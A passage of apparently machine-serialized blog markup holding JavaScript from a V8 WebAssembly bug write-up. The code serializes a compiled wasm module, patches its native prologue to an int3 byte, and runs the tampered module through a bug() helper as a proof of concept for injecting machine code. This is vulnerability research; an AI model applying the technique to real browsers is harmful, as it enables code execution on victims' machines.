0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[140230],{"type":24,"tag":135,"props":140231,"children":140232},{"__ignoreMap":7},[140233,140263,140490,140558,140565,140610,140656,140696,140703,140727,140764,140800],{"type":24,"tag":271,"props":140234,"children":140235},{"class":273,"line":274},[140236,140240,140245,140249,140253,140258],{"type":24,"tag":271,"props":140237,"children":140238},{"style":278},[140239],{"type":29,"value":42715},{"type":24,"tag":271,"props":140241,"children":140242},{"style":630},[140243],{"type":29,"value":140244}," wasm_code",{"type":24,"tag":271,"props":140246,"children":140247},{"style":624},[140248],{"type":29,"value":1712},{"type":24,"tag":271,"props":140250,"children":140251},{"style":278},[140252],{"type":29,"value":39603},{"type":24,"tag":271,"props":140254,"children":140255},{"style":598},[140256],{"type":29,"value":140257}," Uint8Array",{"type":24,"tag":271,"props":140259,"children":140260},{"style":288},[140261],{"type":29,"value":140262},"([\n",{"type":24,"tag":271,"props":140264,"children":140265},{"class":273,"line":284},[140266,140271,140275,140280,140284,140289,140293,140298,140302,140306,140310,140314,140318,140322,140326,140330,140334,140338,140342,140346,140350,140354,140358,140363,140367,140371,140375,140379,140383,140387,140391,140395,140399,140403,140407,140411,140415,140419,140423,140427,140431,140435,140439,140443,140447,140451,140455,140460,140464,140469,140473,140478,140482,140486],{"type":24,"tag":271,"props":140267,"children":140268},{"style":477},[140269],{"type":29,"value":140270}," 0",{"type":24,"tag":271,"props":140272,"children":140273},{"style":288},[140274],{"type":29,"value":158},{"type":24,"tag":271,"props":140276,"children":140277},{"style":477},[140278],{"type":29,"value":140279},"97",{"type":24,"tag":271,"props":140281,"children":140282},{"style":288},[140283],{"type":29,"value":158},{"type":24,"tag":271,"props":140285,"children":140286},{"style":477},[140287],{"type":29,"value":140288},"115",{"type":24,"tag":271,"props":140290,"children":140291},{"style":288},[140292],{"type":29,"value":158},{"type":24,"tag":271,"props":140294,"children":140295},{"style":477},[140296],{"type":29,"value":140297},"109",{"type":24,"tag":271,"props":140299,"children":140300},{"style":288},[140301],{"type":29,"value":158},{"type":24,"tag":271,"props":140303,"children":140304},{"style":477},[140305],{"type":29,"value":156},{"type":24,"tag":271,"props":140307,"children":140308},{"style":288},[140309],{"type":29,"value":158},{"type":24,"tag":271,"props":140311,"children":140312},{"style":477},[140313],{"type":29,"value":4121},{"type":24,"tag":271,"props":140315,"children":140316},{"style":288},[140317],{"type":29,"value":158},{"type":24,"tag":271,"props":140319,"children":140320},{"style":477},[140321],{"type":29,"value":4121},{"type":24,"tag":271,"props":140323,"children":140324},{"style":288},[140325],{"type":29,"value":158},{"type":24,"tag":271,"props":140327,"children":140328},{"style":477},[140329],{"type":29,"value":4121},{"type":24,"tag":271,"props":140331,"children":140332},{"style":288},[140333],{"type":29,"value":158},{"type":24,"tag":271,"props":140335,"children":140336},{"style":477},[140337],{"type":29,"value":156},{"type":24,"tag":271,"props":140339,"children":140340},{"style":288},[140341],{"type":29,"value":158},{"type":24,"tag":271,"props":140343,"children":140344},{"style":477},[140345],{"type":29,"value":3365},{"type":24,"tag":271,"props":140347,"children":140348},{"style":288},[140349],{"type":29,"value":158},{"type":24,"tag":271,"props":140351,"children":140352},{"style":477},[140353],{"type":29,"value":156},{"type":24,"tag":271,"props":140355,"children":140356},{"style":288},[140357],{"type":29,"value":158},{"type":24,"tag":271,"props":140359,"children":140360},{"style":477},[140361],{"type":29,"value":140362},"96",{"type":24,"tag":271,"props":140364,"children":140365},{"style":288},[140366],{"type":29,"value":158},{"type":24,"tag":271,"props":140368,"children":140369},{"style":477},[140370],{"type":29,"value":4121},{"type":24,"tag":271,"props":140372,"children":140373},{"style":288},[140374],{"type":29,"value":158},{"type":24,"tag":271,"props":140376,"children":140377},{"style":477},[140378],{"type":29,"value":4121},{"type":24,"tag":271,"props":140380,"children":140381},{"style":288},[140382],{"type":29,"value":158},{"type":24,"tag":271,"props":140384,"children":140385},{"style":477},[140386],{"type":29,"value":4525},{"type":24,"tag":271,"props":140388,"children":140389},{"style":288},[140390],{"type":29,"value":158},{"type":24,"tag":271,"props":140392,"children":140393},{"style":477},[140394],{"type":29,"value":165},{"type":24,"tag":271,"props":140396,"children":140397},{"style":288},[140398],{"type":29,"value":158},{"type":24,"tag":271,"props":140400,"children":140401},{"style":477},[140402],{"type":29,"value":156},{"type":24,"tag":271,"props":140404,"children":140405},{"style":288},[140406],{"type":29,"value":158},{"type":24,"tag":271,"props":140408,"children":140409},{"style":477},[140410],{"type":29,"value":4121},{"type":24,"tag":271,"props":140412,"children":140413},{"style":288},[140414],{"type":29,"value":158},{"type":24,"tag":271,"props":140416,"children":140417},{"style":477},[140418],{"type":29,"value":4293},{"type":24,"tag":271,"props":140420,"children":140421},{"style":288},[140422],{"type":29,"value":158},{"type":24,"tag":271,"props":140424,"children":140425},{"style":477},[140426],{"type":29,"value":5530},{"type":24,"tag":271,"props":140428,"children":140429},{"style":288},[140430],{"type":29,"value":158},{"type":24,"tag":271,"props":140432,"children":140433},{"style":477},[140434],{"type":29,"value":156},{"type":24,"tag":271,"props":140436,"children":140437},{"style":288},[140438],{"type":29,"value":158},{"type":24,"tag":271,"props":140440,"children":140441},{"style":477},[140442],{"type":29,"value":8686},{"type":24,"tag":271,"props":140444,"children":140445},{"style":288},[140446],{"type":29,"value":158},{"type":24,"tag":271,"props":140448,"children":140449},{"style":477},[140450],{"type":29,"value":140288},{"type":24,"tag":271,"props":140452,"children":140453},{"style":288},[140454],{"type":29,"value":158},{"type":24,"tag":271,"props":140456,"children":140457},{"style":477},[140458],{"type":29,"value":140459},"104",{"type":24,"tag":271,"props":140461,"children":140462},{"style":288},[140463],{"type":29,"value":158},{"type":24,"tag":271,"props":140465,"children":140466},{"style":477},[140467],{"type":29,"value":140468},"101",{"type":24,"tag":271,"props":140470,"children":140471},{"style":288},[140472],{"type":29,"value":158},{"type":24,"tag":271,"props":140474,"children":140475},{"style":477},[140476],{"type":29,"value":140477},"108",{"type":24,"tag":271,"props":140479,"children":140480},{"style":288},[140481],{"type":29,"value":158},{"type":24,"tag":271,"props":140483,"children":140484},{"style":477},[140485],{"type":29,"value":140477},{"type":24,"tag":271,"props":140487,"children":140488},{"style":288},[140489],{"type":29,"value":638},{"type":24,"tag":271,"props":140491,"children":140492},{"class":273,"line":294},[140493,140497,140501,140505,140509,140513,140517,140521,140525,140529,140533,140537,140541,140545,140549,140554],{"type":24,"tag":271,"props":140494,"children":140495},{"style":477},[140496],{"type":29,"value":140270},{"type":24,"tag":271,"props":140498,"children":140499},{"style":288},[140500],{"type":29,"value":158},{"type":24,"tag":271,"props":140502,"children":140503},{"style":477},[140504],{"type":29,"value":4121},{"type":24,"tag":271,"props":140506,"children":140507},{"style":288},[140508],{"type":29,"value":158},{"type":24,"tag":271,"props":140510,"children":140511},{"style":477},[140512],{"type":29,"value":96043},{"type":24,"tag":271,"props":140514,"children":140515},{"style":288},[140516],{"type":29,"value":158},{"type":24,"tag":271,"props":140518,"children":140519},{"style":477},[140520],{"type":29,"value":3365},{"type":24,"tag":271,"props":140522,"children":140523},{"style":288},[140524],{"type":29,"value":158},{"type":24,"tag":271,"props":140526,"children":140527},{"style":477},[140528],{"type":29,"value":156},{"type":24,"tag":271,"props":140530,"children":140531},{"style":288},[140532],{"type":29,"value":158},{"type":24,"tag":271,"props":140534,"children":140535},{"style":477},[140536],{"type":29,"value":165},{"type":24,"tag":271,"props":140538,"children":140539},{"style":288},[140540],{"type":29,"value":158},{"type":24,"tag":271,"props":140542,"children":140543},{"style":477},[140544],{"type":29,"value":4121},{"type":24,"tag":271,"props":140546,"children":140547},{"style":288},[140548],{"type":29,"value":158},{"type":24,"tag":271,"props":140550,"children":140551},{"style":477},[140552],{"type":29,"value":140553},"11",{"type":24,"tag":271,"props":140555,"children":140556},{"style":288},[140557],{"type":29,"value":638},{"type":24,"tag":271,"props":140559,"children":140560},{"class":273,"line":303},[140561],{"type":24,"tag":271,"props":140562,"children":140563},{"style":288},[140564],{"type":29,"value":4655},{"type":24,"tag":271,"props":140566,"children":140567},{"class":273,"line":312},[140568,140572,140576,140580,140584,140589,140593,140597,140601,140606],{"type":24,"tag":271,"props":140569,"children":140570},{"style":278},[140571],{"type":29,"value":42715},{"type":24,"tag":271,"props":140573,"children":140574},{"style":630},[140575],{"type":29,"value":78412},{"type":24,"tag":271,"props":140577,"children":140578},{"style":624},[140579],{"type":29,"value":1712},{"type":24,"tag":271,"props":140581,"children":140582},{"style":278},[140583],{"type":29,"value":39603},{"type":24,"tag":271,"props":140585,"children":140586},{"style":630},[140587],{"type":29,"value":140588}," WebAssembly",{"type":24,"tag":271,"props":140590,"children":140591},{"style":288},[140592],{"type":29,"value":41},{"type":24,"tag":271,"props":140594,"children":140595},{"style":598},[140596],{"type":29,"value":92709},{"type":24,"tag":271,"props":140598,"children":140599},{"style":288},[140600],{"type":29,"value":606},{"type":24,"tag":271,"props":140602,"children":140603},{"style":630},[140604],{"type":29,"value":140605},"wasm_code",{"type":24,"tag":271,"props":140607,"children":140608},{"style":288},[140609],{"type":29,"value":1155},{"type":24,"tag":271,"props":140611,"children":140612},{"class":273,"line":321},[140613,140617,140622,140626,140630,140634,140638,140643,140647,140652],{"type":24,"tag":271,"props":140614,"children":140615},{"style":278},[140616],{"type":29,"value":42715},{"type":24,"tag":271,"props":140618,"children":140619},{"style":630},[140620],{"type":29,"value":140621}," inst",{"type":24,"tag":271,"props":140623,"children":140624},{"style":624},[140625],{"type":29,"value":1712},{"type":24,"tag":271,"props":140627,"children":140628},{"style":278},[140629],{"type":29,"value":39603},{"type":24,"tag":271,"props":140631,"children":140632},{"style":630},[140633],{"type":29,"value":140588},{"type":24,"tag":271,"props":140635,"children":140636},{"style":288},[140637],{"type":29,"value":41},{"type":24,"tag":271,"props":140639,"children":140640},{"style":598},[140641],{"type":29,"value":140642},"Instance",{"type":24,"tag":271,"props":140644,"children":140645},{"style":288},[140646],{"type":29,"value":606},{"type":24,"tag":271,"props":140648,"children":140649},{"style":630},[140650],{"type":29,"value":140651},"mod",{"type":24,"tag":271,"props":140653,"children":140654},{"style":288},[140655],{"type":29,"value":1155},{"type":24,"tag":271,"props":140657,"children":140658},{"class":273,"line":330},[140659,140663,140667,140671,140675,140679,140683,140687,140692],{"type":24,"tag":271,"props":140660,"children":140661},{"style":278},[140662],{"type":29,"value":42715},{"type":24,"tag":271,"props":140664,"children":140665},{"style":630},[140666],{"type":29,"value":86799},{"type":24,"tag":271,"props":140668,"children":140669},{"style":624},[140670],{"type":29,"value":1712},{"type":24,"tag":271,"props":140672,"children":140673},{"style":630},[140674],{"type":29,"value":140621},{"type":24,"tag":271,"props":140676,"children":140677},{"style":288},[140678],{"type":29,"value":41},{"type":24,"tag":271,"props":140680,"children":140681},{"style":630},[140682],{"type":29,"value":45554},{"type":24,"tag":271,"props":140684,"children":140685},{"style":288},[140686],{"type":29,"value":41},{"type":24,"tag":271,"props":140688,"children":140689},{"style":630},[140690],{"type":29,"value":140691},"shell",{"type":24,"tag":271,"props":140693,"children":140694},{"style":288},[140695],{"type":29,"value":1069},{"type":24,"tag":271,"props":140697,"children":140698},{"class":273,"line":339},[140699],{"type":24,"tag":271,"props":140700,"children":140701},{"emptyLinePlaceholder":16},[140702],{"type":29,"value":327},{"type":24,"tag":271,"props":140704,"children":140705},{"class":273,"line":347},[140706,140710,140715,140719,140723],{"type":24,"tag":271,"props":140707,"children":140708},{"style":624},[140709],{"type":29,"value":6039},{"type":24,"tag":271,"props":140711,"children":140712},{"style":598},[140713],{"type":29,"value":140714},"WasmTierUpFunction",{"type":24,"tag":271,"props":140716,"children":140717},{"style":288},[140718],{"type":29,"value":606},{"type":24,"tag":271,"props":140720,"children":140721},{"style":630},[140722],{"type":29,"value":83090},{"type":24,"tag":271,"props":140724,"children":140725},{"style":288},[140726],{"type":29,"value":1155},{"type":24,"tag":271,"props":140728,"children":140729},{"class":273,"line":356},[140730,140734,140739,140743,140748,140752,140756,140760],{"type":24,"tag":271,"props":140731,"children":140732},{"style":278},[140733],{"type":29,"value":42715},{"type":24,"tag":271,"props":140735,"children":140736},{"style":630},[140737],{"type":29,"value":140738}," serialized",{"type":24,"tag":271,"props":140740,"children":140741},{"style":624},[140742],{"type":29,"value":1712},{"type":24,"tag":271,"props":140744,"children":140745},{"style":624},[140746],{"type":29,"value":140747}," %",{"type":24,"tag":271,"props":140749,"children":140750},{"style":598},[140751],{"type":29,"value":139746},{"type":24,"tag":271,"props":140753,"children":140754},{"style":288},[140755],{"type":29,"value":606},{"type":24,"tag":271,"props":140757,"children":140758},{"style":630},[140759],{"type":29,"value":140651},{"type":24,"tag":271,"props":140761,"children":140762},{"style":288},[140763],{"type":29,"value":1155},{"type":24,"tag":271,"props":140765,"children":140766},{"class":273,"line":365},[140767,140771,140775,140779,140783,140787,140791,140796],{"type":24,"tag":271,"props":140768,"children":140769},{"style":278},[140770],{"type":29,"value":19490},{"type":24,"tag":271,"props":140772,"children":140773},{"style":630},[140774],{"type":29,"value":16869},{"type":24,"tag":271,"props":140776,"children":140777},{"style":624},[140778],{"type":29,"value":1712},{"type":24,"tag":271,"props":140780,"children":140781},{"style":278},[140782],{"type":29,"value":39603},{"type":24,"tag":271,"props":140784,"children":140785},{"style":598},[140786],{"type":29,"value":140257},{"type":24,"tag":271,"props":140788,"children":140789},{"style":288},[140790],{"type":29,"value":606},{"type":24,"tag":271,"props":140792,"children":140793},{"style":630},[140794],{"type":29,"value":140795},"serialized",{"type":24,"tag":271,"props":140797,"children":140798},{"style":288},[140799],{"type":29,"value":1155},{"type":24,"tag":271,"props":140801,"children":140802},{"class":273,"line":374},[140803,140808,140812,140816,140820,140825,140829,140833,140837,140842,140846,140851,140855,140859,140864],{"type":24,"tag":271,"props":140804,"children":140805},{"style":630},[140806],{"type":29,"value":140807},"console",{"type":24,"tag":271,"props":140809,"children":140810},{"style":288},[140811],{"type":29,"value":41},{"type":24,"tag":271,"props":140813,"children":140814},{"style":598},[140815],{"type":29,"value":108743},{"type":24,"tag":271,"props":140817,"children":140818},{"style":288},[140819],{"type":29,"value":606},{"type":24,"tag":271,"props":140821,"children":140822},{"style":378},[140823],{"type":29,"value":140824},"'['",{"type":24,"tag":271,"props":140826,"children":140827},{"style":624},[140828],{"type":29,"value":4253},{"type":24,"tag":271,"props":140830,"children":140831},{"style":630},[140832],{"type":29,"value":16869},{"type":24,"tag":271,"props":140834,"children":140835},{"style":288},[140836],{"type":29,"value":41},{"type":24,"tag":271,"props":140838,"children":140839},{"style":598},[140840],{"type":29,"value":140841},"join",{"type":24,"tag":271,"props":140843,"children":140844},{"style":288},[140845],{"type":29,"value":606},{"type":24,"tag":271,"props":140847,"children":140848},{"style":378},[140849],{"type":29,"value":140850},"', '",{"type":24,"tag":271,"props":140852,"children":140853},{"style":288},[140854],{"type":29,"value":8823},{"type":24,"tag":271,"props":140856,"children":140857},{"style":624},[140858],{"type":29,"value":1012},{"type":24,"tag":271,"props":140860,"children":140861},{"style":378},[140862],{"type":29,"value":140863}," ']'",{"type":24,"tag":271,"props":140865,"children":140866},{"style":288},[140867],{"type":29,"value":1155},{"type":24,"tag":25,"props":140869,"children":140870},{},[140871],{"type":29,"value":140872},"This produces the following output:",{"type":24,"tag":261,"props":140874,"children":140876},{"code":140875},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[140877],{"type":24,"tag":135,"props":140878,"children":140879},{"__ignoreMap":7},[140880],{"type":29,"value":140875},{"type":24,"tag":25,"props":140882,"children":140883},{},[140884,140886,140892,140894,140900,140902,140908,140909,140915,140917,140922],{"type":29,"value":140885},"The bytes ",{"type":24,"tag":135,"props":140887,"children":140889},{"className":140888},[],[140890],{"type":29,"value":140891},"85, 72, 137, 229, ...",{"type":29,"value":140893}," correspond to the x86-64 function prologue (",{"type":24,"tag":135,"props":140895,"children":140897},{"className":140896},[],[140898],{"type":29,"value":140899},"push rbp; mov rbp, rsp",{"type":29,"value":140901},"). We replace the first byte with ",{"type":24,"tag":135,"props":140903,"children":140905},{"className":140904},[],[140906],{"type":29,"value":140907},"0xcc",{"type":29,"value":24156},{"type":24,"tag":135,"props":140910,"children":140912},{"className":140911},[],[140913],{"type":29,"value":140914},"int3",{"type":29,"value":140916}," opcode), and use this modified buffer as the serialized input to ",{"type":24,"tag":135,"props":140918,"children":140920},{"className":140919},[],[140921],{"type":29,"value":139720},{"type":29,"value":12210},{"type":24,"tag":261,"props":140924,"children":140926},{"code":140925,"language":43283,"meta":7,"className":43281,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[140927],{"type":24,"tag":135,"props":140928,"children":140929},{"__ignoreMap":7},[140930,140953,140980,141200,141267,141275,141302,141516,141768,142019,142245,142489,142709,142716,142765,142810,142854,142893,142905],{"type":24,"tag":271,"props":140931,"children":140932},{"class":273,"line":274},[140933,140937,140941,140945,140949],{"type":24,"tag":271,"props":140934,"children":140935},{"style":288},[140936],{"type":29,"value":606},{"type":24,"tag":271,"props":140938,"children":140939},{"style":278},[140940],{"type":29,"value":43813},{"type":24,"tag":271,"props":140942,"children":140943},{"style":288},[140944],{"type":29,"value":47364},{"type":24,"tag":271,"props":140946,"children":140947},{"style":278},[140948],{"type":29,"value":22519},{"type":24,"tag":271,"props":140950,"children":140951},{"style":288},[140952],{"type":29,"value":7145},{"type":24,"tag":271,"props":140954,"children":140955},{"class":273,"line":284},[140956,140960,140964,140968,140972,140976],{"type":24,"tag":271,"props":140957,"children":140958},{"style":278},[140959],{"type":29,"value":43856},{"type":24,"tag":271,"props":140961,"children":140962},{"style":630},[140963],{"type":29,"value":140244},{"type":24,"tag":271,"props":140965,"children":140966},{"style":624},[140967],{"type":29,"value":1712},{"type":24,"tag":271,"props":140969,"children":140970},{"style":278},[140971],{"type":29,"value":39603},{"type":24,"tag":271,"props":140973,"children":140974},{"style":598},[140975],{"type":29,"value":140257},{"type":24,"tag":271,"props":140977,"children":140978},{"style":288},[140979],{"type":29,"value":140262},{"type":24,"tag":271,"props":140981,"children":140982},{"class":273,"line":294},[140983,140988,140992,140996,141000,141004,141008,141012,141016,141020,141024,141028,141032,141036,141040,141044,141048,141052,141056,141060,141064,141068,141072,141076,141080,141084,141088,141092,141096,141100,141104,141108,141112,141116,141120,141124,141128,141132,141136,141140,141144,141148,141152,141156,141160,141164,141168,141172,141176,141180,141184,141188,141192,141196],{"type":24,"tag":271,"props":140984,"children":140985},{"style":477},[140986],{"type":29,"value":140987}," 0",{"type":24,"tag":271,"props":140989,"children":140990},{"style":288},[140991],{"type":29,"value":158},{"type":24,"tag":271,"props":140993,"children":140994},{"style":477},[140995],{"type":29,"value":140279},{"type":24,"tag":271,"props":140997,"children":140998},{"style":288},[140999],{"type":29,"value":158},{"type":24,"tag":271,"props":141001,"children":141002},{"style":477},[141003],{"type":29,"value":140288},{"type":24,"tag":271,"props":141005,"children":141006},{"style":288},[141007],{"type":29,"value":158},{"type":24,"tag":271,"props":141009,"children":141010},{"style":477},[141011],{"type":29,"value":140297},{"type":24,"tag":271,"props":141013,"children":141014},{"style":288},[141015],{"type":29,"value":158},{"type":24,"tag":271,"props":141017,"children":141018},{"style":477},[141019],{"type":29,"value":156},{"type":24,"tag":271,"props":141021,"children":141022},{"style":288},[141023],{"type":29,"value":158},{"type":24,"tag":271,"props":141025,"children":141026},{"style":477},[141027],{"type":29,"value":4121},{"type":24,"tag":271,"props":141029,"children":141030},{"style":288},[141031],{"type":29,"value":158},{"type":24,"tag":271,"props":141033,"children":141034},{"style":477},[141035],{"type":29,"value":4121},{"type":24,"tag":271,"props":141037,"children":141038},{"style":288},[141039],{"type":29,"value":158},{"type":24,"tag":271,"props":141041,"children":141042},{"style":477},[141043],{"type":29,"value":4121},{"type":24,"tag":271,"props":141045,"children":141046},{"style":288},[141047],{"type":29,"value":158},{"type":24,"tag":271,"props":141049,"children":141050},{"style":477},[141051],{"type":29,"value":156},{"type":24,"tag":271,"props":141053,"children":141054},{"style":288},[141055],{"type":29,"value":158},{"type":24,"tag":271,"props":141057,"children":141058},{"style":477},[141059],{"type":29,"value":3365},{"type":24,"tag":271,"props":141061,"children":141062},{"style":288},[141063],{"type":29,"value":158},{"type":24,"tag":271,"props":141065,"children":141066},{"style":477},[141067],{"type":29,"value":156},{"type":24,"tag":271,"props":141069,"children":141070},{"style":288},[141071],{"type":29,"value":158},{"type":24,"tag":271,"props":141073,"children":141074},{"style":477},[141075],{"type":29,"value":140362},{"type":24,"tag":271,"props":141077,"children":141078},{"style":288},[141079],{"type":29,"value":158},{"type":24,"tag":271,"props":141081,"children":141082},{"style":477},[141083],{"type":29,"value":4121},{"type":24,"tag":271,"props":141085,"children":141086},{"style":288},[141087],{"type":29,"value":158},{"type":24,"tag":271,"props":141089,"children":141090},{"style":477},[141091],{"type":29,"value":4121},{"type":24,"tag":271,"props":141093,"children":141094},{"style":288},[141095],{"type":29,"value":158},{"type":24,"tag":271,"props":141097,"children":141098},{"style":477},[141099],{"type":29,"value":4525},{"type":24,"tag":271,"props":141101,"children":141102},{"style":288},[141103],{"type":29,"value":158},{"type":24,"tag":271,"props":141105,"children":141106},{"style":477},[141107],{"type":29,"value":165},{"type":24,"tag":271,"props":141109,"children":141110},{"style":288},[141111],{"type":29,"value":158},{"type":24,"tag":271,"props":141113,"children":141114},{"style":477},[141115],{"type":29,"value":156},{"type":24,"tag":271,"props":141117,"children":141118},{"style":288},[141119],{"type":29,"value":158},{"type":24,"tag":271,"props":141121,"children":141122},{"style":477},[141123],{"type":29,"value":4121},{"type":24,"tag":271,"props":141125,"children":141126},{"style":288},[141127],{"type":29,"value":158},{"type":24,"tag":271,"props":141129,"children":141130},{"style":477},[141131],{"type":29,"value":4293},{"type":24,"tag":271,"props":141133,"children":141134},{"style":288},[141135],{"type":29,"value":158},{"type":24,"tag":271,"props":141137,"children":141138},{"style":477},[141139],{"type":29,"value":5530},{"type":24,"tag":271,"props":141141,"children":141142},{"style":288},[141143],{"type":29,"value":158},{"type":24,"tag":271,"props":141145,"children":141146},{"style":477},[141147],{"type":29,"value":156},{"type":24,"tag":271,"props":141149,"children":141150},{"style":288},[141151],{"type":29,"value":158},{"type":24,"tag":271,"props":141153,"children":141154},{"style":477},[141155],{"type":29,"value":8686},{"type":24,"tag":271,"props":141157,"children":141158},{"style":288},[141159],{"type":29,"value":158},{"type":24,"tag":271,"props":141161,"children":141162},{"style":477},[141163],{"type":29,"value":140288},{"type":24,"tag":271,"props":141165,"children":141166},{"style":288},[141167],{"type":29,"value":158},{"type":24,"tag":271,"props":141169,"children":141170},{"style":477},[141171],{"type":29,"value":140459},{"type":24,"tag":271,"props":141173,"children":141174},{"style":288},[141175],{"type":29,"value":158},{"type":24,"tag":271,"props":141177,"children":141178},{"style":477},[141179],{"type":29,"value":140468},{"type":24,"tag":271,"props":141181,"children":141182},{"style":288},[141183],{"type":29,"value":158},{"type":24,"tag":271,"props":141185,"children":141186},{"style":477},[141187],{"type":29,"value":140477},{"type":24,"tag":271,"props":141189,"children":141190},{"style":288},[141191],{"type":29,"value":158},{"type":24,"tag":271,"props":141193,"children":141194},{"style":477},[141195],{"type":29,"value":140477},{"type":24,"tag":271,"props":141197,"children":141198},{"style":288},[141199],{"type":29,"value":638},{"type":24,"tag":271,"props":141201,"children":141202},{"class":273,"line":303},[141203,141207,141211,141215,141219,141223,141227,141231,141235,141239,141243,141247,141251,141255,141259,141263],{"type":24,"tag":271,"props":141204,"children":141205},{"style":477},[141206],{"type":29,"value":140987},{"type":24,"tag":271,"props":141208,"children":141209},{"style":288},[141210],{"type":29,"value":158},{"type":24,"tag":271,"props":141212,"children":141213},{"style":477},[141214],{"type":29,"value":4121},{"type":24,"tag":271,"props":141216,"children":141217},{"style":288},[141218],{"type":29,"value":158},{"type":24,"tag":271,"props":141220,"children":141221},{"style":477},[141222],{"type":29,"value":96043},{"type":24,"tag":271,"props":141224,"children":141225},{"style":288},[141226],{"type":29,"value":158},{"type":24,"tag":271,"props":141228,"children":141229},{"style":477},[141230],{"type":29,"value":3365},{"type":24,"tag":271,"props":141232,"children":141233},{"style":288},[141234],{"type":29,"value":158},{"type":24,"tag":271,"props":141236,"children":141237},{"style":477},[141238],{"type":29,"value":156},{"type":24,"tag":271,"props":141240,"children":141241},{"style":288},[141242],{"type":29,"value":158},{"type":24,"tag":271,"props":141244,"children":141245},{"style":477},[141246],{"type":29,"value":165},{"type":24,"tag":271,"props":141248,"children":141249},{"style":288},[141250],{"type":29,"value":158},{"type":24,"tag":271,"props":141252,"children":141253},{"style":477},[141254],{"type":29,"value":4121},{"type":24,"tag":271,"props":141256,"children":141257},{"style":288},[141258],{"type":29,"value":158},{"type":24,"tag":271,"props":141260,"children":141261},{"style":477},[141262],{"type":29,"value":140553},{"type":24,"tag":271,"props":141264,"children":141265},{"style":288},[141266],{"type":29,"value":638},{"type":24,"tag":271,"props":141268,"children":141269},{"class":273,"line":312},[141270],{"type":24,"tag":271,"props":141271,"children":141272},{"style":288},[141273],{"type":29,"value":141274}," ]);\n",{"type":24,"tag":271,"props":141276,"children":141277},{"class":273,"line":321},[141278,141282,141286,141290,141294,141298],{"type":24,"tag":271,"props":141279,"children":141280},{"style":278},[141281],{"type":29,"value":43856},{"type":24,"tag":271,"props":141283,"children":141284},{"style":630},[141285],{"type":29,"value":132057},{"type":24,"tag":271,"props":141287,"children":141288},{"style":624},[141289],{"type":29,"value":1712},{"type":24,"tag":271,"props":141291,"children":141292},{"style":278},[141293],{"type":29,"value":39603},{"type":24,"tag":271,"props":141295,"children":141296},{"style":598},[141297],{"type":29,"value":140257},{"type":24,"tag":271,"props":141299,"children":141300},{"style":288},[141301],{"type":29,"value":140262},{"type":24,"tag":271,"props":141303,"children":141304},{"class":273,"line":330},[141305,141310,141314,141318,141322,141327,141331,141336,141340,141345,141349,141354,141358,141363,141367,141372,141376,141381,141385,141390,141394,141398,141402,141406,141410,141415,141419,141424,141428,141432,141436,141440,141444,141448,141452,141456,141460,141464,141468,141472,141476,141480,141484,141488,141492,141496,141500,141504,141508,141512],{"type":24,"tag":271,"props":141306,"children":141307},{"style":477},[141308],{"type":29,"value":141309}," 